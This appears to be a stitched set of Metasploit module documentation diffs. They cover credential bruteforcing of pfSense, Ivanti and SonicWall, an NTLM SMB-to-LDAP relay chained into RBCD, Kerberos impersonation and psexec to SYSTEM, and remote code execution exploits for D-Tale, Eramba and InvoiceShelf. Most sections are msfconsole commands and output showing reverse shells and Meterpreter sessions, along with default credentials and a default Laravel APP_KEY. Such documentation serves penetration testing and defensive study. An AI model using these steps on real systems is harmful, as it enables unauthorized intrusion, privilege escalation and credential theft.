1. Right click the `WebServer` template, select properties.
1. Go to the Security Tab.
1. Under `Groups or usernames` select `Authenticated Users`.
1. Under `Permissions for Authenticated Users` select `Enroll` -> `Allow`.
1. Click Apply.
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it.
1. The certificate should now be available to be issued by the CA server.
## Module usage
1. Do: Start msfconsole
@@ -0,0 +1,106 @@
## Vulnerable Application
This module attempts to bruteforce credentials for pfSense.
This module was specifically tested on version 2.7.2:
**2.7.2 Download**
https://atxfiles.netgate.com/mirror/downloads/
Note:
By default, pfSense comes with a built-in account named ```admin``` with the password being ```pfsense```.
## Verification Steps
1. Set up a pfSense VM using the steps above or target a real installation
1. Start `bundle exec ./msfconsole -q`
1. `use auxiliary/scanner/http/pfsense_login`
1. `set ssl true`
1. `set pass_file ...`
1. `set user_file ...`
1. `run`
1. or, using some example inline options: `run pass_file=data/wordlists/default_pass_for_services_unhash.txt user_file=data/wordlists/default_pass_for_services_unhash.txt STOP_ON_SUCCESS=true SSL=true rport=443`
1. Verify you get a login:
```
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
```
## Options
### BLANK_PASSWORD
Set to `true` if an additional login attempt should be made with an empty password for every user.
### BRUTEFORCE_SPEED
How fast to bruteforce, from 0 to 5
### PASSWORD
A specific password to authenticate with
### PASS_FILE
File containing passwords, one per line
### STOP_ON_SUCCESS
Stop guessing when a credential works for a host
### THREADS
The number of concurrent threads (max one per host)
### USERPASS_FILE
File containing users and passwords separated by space, one pair per line
### USER_FILE
File containing usernames, one per line
### VERBOSE
Whether to print output for all attempts
## Scenarios
```
msf6 auxiliary(scanner/http/pfsense_login) > options
Module options (auxiliary/scanner/http/pfsense_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD pfsense no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.207.158 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI / yes The base path to the pfSense application
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME admin no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/pfsense_login) > run
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -9,7 +9,7 @@ It allows to attack both regular user and admin as well - you can select which t
## Verification Steps
1. `use auxiliary/scanner/ivanti/login_scanner`
1. `use auxiliary/scanner/ivanti/ivanti_login`
2. `set RHOSTS [IP]`
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
@@ -0,0 +1,19 @@
## Description
The module will perform a bruteforce attack against SonicWall NSv (Network Security Virtual).
It allows attacking both regular SSLVPN users and as well as admins. The module will automatically target SSLVPN users if the `DOMAIN` parameter is not empty.
## Vulnerable Application
- [SonicWall](https://www.sonicwall.com/resources/trials-landing/sonicwall-nsv-next-gen-virtual-firewall-trial)
## Verification Steps
1. `use auxiliary/scanner/sonicwall/sonicwall_login`
2. `set RHOSTS [IP]`
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
5. `set DOMAIN [domain to attack/empty string to attack admin account]`
6. `run`
@@ -0,0 +1,314 @@
## Vulnerable Application
This module supports running an SMB server which validates credentials, and
then attempts to execute a relay attack against an LDAP server on the
configured RELAY_TARGETS hosts.
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
(MIC). As a result, this will only work with NTLMv1. The module takes care of
removing the relevant flags to bypass signing.
If the relay succeeds, an LDAP session to the target will be created. This can
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
`auxiliary/gather/ldap_query`.
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
## Verification Steps
### Lab setup
You will need a Domain Controller and a Domain-joined host:
Domain Computer <-> Metasploit framework <-> Domain Controller
Where:
- Domain name: NEWLAB.local
- VICTIM (Domain Computer) = 192.168.232.111
- msfconsole = 192.168.232.3
- DC01 (Domain Controller) = 192.168.232.110
```mermaid
flowchart LR
A("VICTIM (Domain Computer) - 192.168.232.111")
subgraph metasploit[" msfconsole - 192.168.232.3 "]
subgraph inside [ ]
direction TB
style inside margin-top: 0
style inside stroke: none
B("smb_to_ldap")
database[(Database)]
B -->|"report_ntlm_type3(...)"| database
end
end
C("DC01 (Domain Controller) - 192.168.232.110")
A <-->|SMB 445| metasploit
metasploit <-->|"ldap session (TCP/389)"| C
```
The Domain Computer will need to be configured to use NTLMv1 by setting the
following registry key to a value less or equal to 2:
```
PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
```
```
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
LmCompatibilityLevel REG_DWORD 0x2
```
Finally run the relay server on msfconsole, setting the `RELAY_TARGETS` option
to the Domain Controller IP address.
```
run verbose=true RELAY_TARGETS=192.168.232.110
```
You will have to coerce the Domain Computer and force it to authenticate to the
msfconsole server (see an example below).
## Options
### RELAY_TARGETS
Target address range or CIDR identifier to relay to.
### CAINPWFILE
A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes.
### JOHNPWFILE
A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes
will be stored in separate files.
I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`.
### RELAY_TIMEOUT
Seconds that the relay socket will wait for a response after the client has
initiated communication (default 25 sec.).
### SMBDomain
The domain name used during SMB exchange.
## Scenarios
### Start the relay server
```
msf6 > use auxiliary/server/relay/smb_to_ldap
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RELAY_TARGETS=192.168.232.110
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/relay/smb_to_ldap) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 auxiliary(server/relay/smb_to_ldap) > _servicemanager
Services
========
Id Name References
-- ---- ----------
0 Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445 2
1 SMB Relay Server 2
```
### Net use example
A simple test would be using the Windows `net use` command:
```
net use \\192.168.232.3\foo /u:Administrator 123456
```
msfconsole output:
```
[*] New request from 192.168.232.111
[*] Received request for \Administrator
[*] Relaying to next target ldap://192.168.232.110:389
[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
[+] Relay succeeded
[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100
[*] Received request for \Administrator
[*] Identity: \Administrator - All targets relayed to
[*] New request from 192.168.232.111
[*] Received request for NEWLAB\Administrator
[*] Relaying to next target ldap://192.168.232.110:389
[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
[+] Relay succeeded
[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100
[*] Received request for NEWLAB\Administrator
[*] Identity: NEWLAB\Administrator - All targets relayed to
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110)
2 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110)
```
### PetitPotam example
Coerce authentication using a non-privileged Domain User account with PetitPotam:
```
msf6 auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local
[*] 192.168.232.111:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
[*] 192.168.232.111:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
[*] 192.168.232.111:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv
[*] New request from 192.168.232.111
[*] Received request for NEWLAB\VICTIM$
[*] Relaying to next target ldap://192.168.232.110:389
[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389
[*] Skipping previously captured hash for NEWLAB\VICTIM$
[+] Relay succeeded
[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100
[*] Received request for NEWLAB\VICTIM$
[*] Identity: NEWLAB\VICTIM$ - All targets relayed to
[+] 192.168.232.111:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.232.111:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 ldap LDAP VICTIM$ @ 192.168.232.110:389 192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110)
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1
[*] Starting interaction with 1...
LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$)
CN=VICTIM,CN=Computers,DC=newlab,DC=local
===============================================
Name Attributes
---- ----------
accountexpires 9223372036854775807
badpasswordtime 133820110912034399
badpwdcount 0
cn VICTIM
...
LDAP (192.168.232.110) >
Background session 1? [y/N]
```
### Exploit Resource-based Constrained Delegation (RBCD)
For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation
- Create a computer account with the `admin/dcerpc/samr_account` module and the same Domain User account
```
msf6 auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456
[*] Running module against 192.168.232.110
[*] 192.168.232.110:445 - Adding computer
[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 192.168.232.110:445 - Binding to \samr...
[+] 192.168.232.110:445 - Bound to \samr
[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$
[+] 192.168.232.110:445 - Password: 123456
[+] 192.168.232.110:445 - SID: S-1-5-21-3065298949-3337206023-618530601-1618
[*] Auxiliary module execution completed
```
- Setup RBCD with the `admin/ldap/rbcd` module using the LDAP session
```
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
[*] Running module against 192.168.232.110
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$
[*] Running module against 192.168.232.110
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
[*] Added account:
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
[*] Running module against 192.168.232.110
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[*] Allowed accounts:
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
[*] Auxiliary module execution completed
```
- Getting the Kerberos tickets using the `admin/kerberos/get_ticket` module
```
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator
[*] Running module against 192.168.232.110
[+] 192.168.232.110:88 - Received a valid TGT-Response
[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
[*] 192.168.232.110:88 - Getting TGS impersonating Administrator@newlab.local (SPN: cifs/VICTIM.newlab.local)
[+] 192.168.232.110:88 - Received a valid TGS-Response
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
[+] 192.168.232.110:88 - Received a valid TGS-Response
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
[*] Auxiliary module execution completed
```
- Code execution using the `windows/smb/psexec` module
```
msf6 exploit(windows/smb/psexec) > klist
Kerberos Cache
==============
id host principal sname enctype issued status path
-- ---- --------- ----- ------- ------ ------ ----
105 192.168.232.110 FAKE01@NEWLAB.LOCAL krbtgt/NEWLAB.LOCAL@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
106 192.168.232.110 Administrator@NEWLAB.LOCAL FAKE01@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
107 192.168.232.110 Administrator@NEWLAB.LOCAL cifs/VICTIM.newlab.local@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local
[*] Started reverse TCP handler on 192.168.232.3:4444
[*] 192.168.232.111:445 - Connecting to the server...
[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'...
[*] 192.168.232.111:445 - Using cached credential for cifs/VICTIM.newlab.local@NEWLAB.LOCAL Administrator@NEWLAB.LOCAL
[*] 192.168.232.111:445 - Selecting PowerShell target
[*] 192.168.232.111:445 - Executing the payload...
[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 192.168.232.111
[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : VICTIM
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : NEWLAB
Logged On Users : 9
Meterpreter : x86/windows
```
@@ -0,0 +1,110 @@
## Vulnerable Application
This exploit effectively serves as a bypass for CVE-2024-3408.
An attacker can override global state to enable custom filters, which then facilitates remote code execution.
Specifically, this vulnerability leverages the ability to manipulate global application settings
to activate the enable_custom_filters feature, typically restricted to trusted environments.
Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.
The vulnerability affects:
* D-Tale <= 3.15.1
This module was successfully tested on:
* D-Tale 3.15.1 installed on Ubuntu 24.04
* D-Tale 3.12.0 installed on Ubuntu 22.04
* D-Tale 3.10.0 installed on Ubuntu 22.04
* D-Tale 3.0.0 installed on Ubuntu 22.04
* D-Tale 2.5.1 installed on Ubuntu 22.04
* D-Tale 2.4.0 installed on Ubuntu 22.04
### Installation
1. `pip install 'dtale==3.15.1'`
2. `dtale --host 0.0.0.0`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/dtale_rce_cve_2025_0655`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter
## Options
## Scenarios
```
msf6 > use exploit/linux/http/dtale_rce_cve_2025_0655
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > options
Module options (exploit/linux/http/dtale_rce_cve_2025_0655):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 40000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_FILELESS is false:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME agAyokIhdJZ no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.15.1 detected.
[*] Use data_id: 1
[*] Updated the enable_custom_filters to true.
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:33210) at 2025-03-03 20:49:53 +0900
[*] Successfully executed the payload.
[*] Successfully cleaned up data_id: 1
meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer : 192.168.56.17
OS : Ubuntu 22.04 (Linux 6.8.0-52-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,157 @@
## Vulnerable Application
Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`):
### Installation
Docker and docker-compose is required.
1. git clone https://github.com/eramba/docker
2. cd docker
3. Setup database credentials and public URL in `.env`
4. Copy following into `docker-compose.simple-install.yml`
```
version: '3.19'
services:
mysql:
container_name: mysql
image: mysql:8.0.28-oracle
command: ["mysqld", "--disable-log-bin"]
restart: always
volumes:
- db-data:/var/lib/mysql
- ./mysql/conf.d:/etc/mysql/conf.d
- ./mysql/entrypoint:/docker-entrypoint-initdb.d
environment:
MYSQL_DATABASE: ${DB_DATABASE}
MYSQL_USER: ${DB_USERNAME}
MYSQL_PASSWORD: ${DB_PASSWORD}
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
redis:
container_name: redis
image: redis:6.0.16-alpine
restart: always
eramba:
container_name: eramba
image: ghcr.io/eramba/eramba:3.19.1
restart: always
ports:
- 8443:443
volumes:
- data:/var/www/eramba/app/upgrade/data
- app:/var/www/eramba
- logs:/var/www/eramba/app/upgrade/logs
- ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt
- ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key
- ./apache/security.conf:/etc/apache2/conf-available/security.conf
- ./apache/ports.conf:/etc/apache2/ports.conf
- ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf
- ./crontab/crontab:/etc/cron.d/eramba-crontab
environment:
DB_HOST: ${DB_HOST}
DB_DATABASE: ${DB_DATABASE}
DB_USERNAME: ${DB_USERNAME}
DB_PASSWORD: ${DB_PASSWORD}
CACHE_URL: ${CACHE_URL}
USE_PROXY: ${USE_PROXY}
PROXY_HOST: ${PROXY_HOST}
PROXY_PORT: ${PROXY_PORT}
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
links:
- mysql
- redis
depends_on:
- mysql
cron:
container_name: cron
image: ghcr.io/eramba/eramba:3.19.1
command: ["cron", "-f"]
entrypoint: ["/docker-cron-entrypoint.sh"]
restart: always
volumes:
- data:/var/www/eramba/app/upgrade/data
- app:/var/www/eramba
- logs:/var/www/eramba/app/upgrade/logs
- ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh
- ./crontab/crontab:/etc/cron.d/eramba-crontab
- .env:/var/www/docker.env
environment:
DB_HOST: ${DB_HOST}
DB_DATABASE: ${DB_DATABASE}
DB_USERNAME: ${DB_USERNAME}
DB_PASSWORD: ${DB_PASSWORD}
CACHE_URL: ${CACHE_URL}
USE_PROXY: ${USE_PROXY}
PROXY_HOST: ${PROXY_HOST}
PROXY_PORT: ${PROXY_PORT}
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
links:
- mysql
- redis
- eramba
depends_on:
- eramba
volumes:
app:
data:
logs:
db-data:
```
5. `docker compose -f docker-compose.simple-install.yml up -d`
Shut down: `docker compose -f docker-compose.simple-install.yml down`
## Verification Steps
1. use exploit/linux/http/eramba_rce
2. set RHOSTS [target IP]
3. set LHOST [attacker's IP]
4. set USERNAME [username]
5. set PASSWORD [password]
6. exploit
## Options
### USERNAME
A valid username for Eramba application
### PASSWORD
A valid password for Eramba application
## Scenarios
```
msf6 > use exploit/linux/http/eramba_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145
RHOSTS => 192.168.95.145
msf6 exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142
LHOST => 192.168.95.142
msf6 exploit(linux/http/eramba_rce)> set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd!
PASSWORD => P4ssw0rd!
msf6 exploit(linux/http/eramba_rce) > exploit
[*] Started reverse TCP handler on 192.168.95.142:4444
[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
@@ -0,0 +1,186 @@
## Vulnerable Application
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
invoices & estimates and is based on the PHP framework Laravel.
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
Laravel's encrypt() function.
An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
to sensitive information.
The following release was tested.
* InvoiceShelf `1.3.0` on Docker
## Installation steps to install InvoiceShelf on Docker
* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install.
* Please ensure that `SESSION_DRIVER=cookie` is set to cookie.
* cp `.env.example` to `.env` and note down the `APP_KEY` setting.
* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker.
```
#-------------------------------------------
# InvoiceShelf MySQL docker-compose variant
# Repo : https://github.com/InvoiceShelf/docker
#-------------------------------------------
services:
invoiceshelf_db:
container_name: invoiceshelf_db
image: mariadb:10
environment:
- MYSQL_DATABASE=invoiceshelf
- MYSQL_USER=invoiceshelf
- MYSQL_PASSWORD=Passw0rd
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true
expose:
- 3306
volumes:
- mysql:/var/lib/mysql
networks:
- invoiceshelf
restart: unless-stopped
healthcheck:
test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"]
timeout: 20s
retries: 10
invoiceshelf:
image: invoiceshelf/invoiceshelf:1.3.0
container_name: invoiceshelf
ports:
- 90:80
volumes:
- ./invoiceshelf_mysql/data:/data
- ./invoiceshelf_mysql/conf:/conf
networks:
- invoiceshelf
environment:
# PHP timezone e.g. PHP_TZ=America/New_York
- PHP_TZ=UTC
- TIMEZONE=UTC
- APP_NAME=Laravel
- APP_ENV=local
- APP_DEBUG=true
- APP_URL=http://localhost:90
- DB_CONNECTION=mysql
- DB_HOST=invoiceshelf_db
- DB_PORT=3306
- DB_DATABASE=invoiceshelf
- DB_USERNAME=invoiceshelf
- DB_PASSWORD=Passw0rd
- DB_PASSWORD_FILE=
- CACHE_STORE=file
- SESSION_DRIVER=cookie
- SESSION_LIFETIME=1440
- SESSION_ENCRYPT=false
- SESSION_PATH=/
- SESSION_DOMAIN=localhost
- SANCTUM_STATEFUL_DOMAINS=localhost:90
- STARTUP_DELAY=
#- MAIL_DRIVER=smtp
#- MAIL_HOST=smtp.mailtrap.io
#- MAIL_PORT=2525
#- MAIL_USERNAME=null
#- MAIL_PASSWORD=null
#- MAIL_PASSWORD_FILE=<filename>
#- MAIL_ENCRYPTION=null
restart: unless-stopped
depends_on:
- invoiceshelf_db
networks:
invoiceshelf:
volumes:
mysql:
```
* Execute `docker-compose up -d`
* You can access the InvoiceShelf application at http://localhost:90
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
## Options
### APP_KEY
This option is required if the BRUTE_FORCE option is not used.
It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`.
### BRUTEFORCE
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
## Scenarios
### InvoiceShelf 1.3.0 on Docker - PHP Command target
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
```msf
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21
rhosts => 192.168.201.21
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.21:90 can be exploited.
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
[*] Grabbing the cookies.
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360}
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.201.21
